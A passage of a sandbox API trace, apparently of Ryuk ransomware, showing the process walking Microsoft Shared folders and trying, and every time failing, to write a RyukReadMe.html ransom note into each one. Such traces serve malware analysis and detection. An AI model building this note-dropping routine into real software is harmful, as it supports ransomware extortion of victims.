	[0163.774] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.774] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.775] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.775] SetLastError (dwErrCode=0x0) 
	[0163.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.775] GetLastError () returned 0x5
	[0163.775] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.775] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.775] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0163.775] SetLastError (dwErrCode=0x0) 
	[0163.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.776] GetLastError () returned 0x5
	[0163.776] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.777] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.777] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.777] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.777] SetLastError (dwErrCode=0x0) 
	[0163.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.778] GetLastError () returned 0x5
	[0163.778] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.778] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0163.778] SetLastError (dwErrCode=0x0) 
	[0163.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.779] GetLastError () returned 0x5
	[0163.779] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.869] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.869] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.870] SetLastError (dwErrCode=0x0) 
	[0163.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.870] GetLastError () returned 0x5
	[0163.870] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.870] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.870] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0163.870] SetLastError (dwErrCode=0x0) 
	[0163.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.871] GetLastError () returned 0x5
	[0163.871] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.872] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.872] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.872] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.872] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.873] SetLastError (dwErrCode=0x0) 
	[0163.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.873] GetLastError () returned 0x5
	[0163.873] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.873] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0163.874] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0163.874] SetLastError (dwErrCode=0x0) 
	[0163.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.874] GetLastError () returned 0x5
	[0163.874] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0163.874] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.875] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0163.875] SetLastError (dwErrCode=0x0) 
	[0163.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.875] GetLastError () returned 0x5
	[0163.875] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0163.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0163.880] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.880] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1
	[0163.880] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0
	[0163.880] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0163.880] SetLastError (dwErrCode=0x0) 
	[0163.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.881] GetLastError () returned 0x5
	[0163.881] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0163.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.881] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0163.881] SetLastError (dwErrCode=0x0) 
	[0163.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.881] GetLastError () returned 0x5
	[0163.882] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0163.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0163.882] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.883] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0163.883] SetLastError (dwErrCode=0x0) 
	[0163.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.883] GetLastError () returned 0x5
	[0163.883] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.883] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.884] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
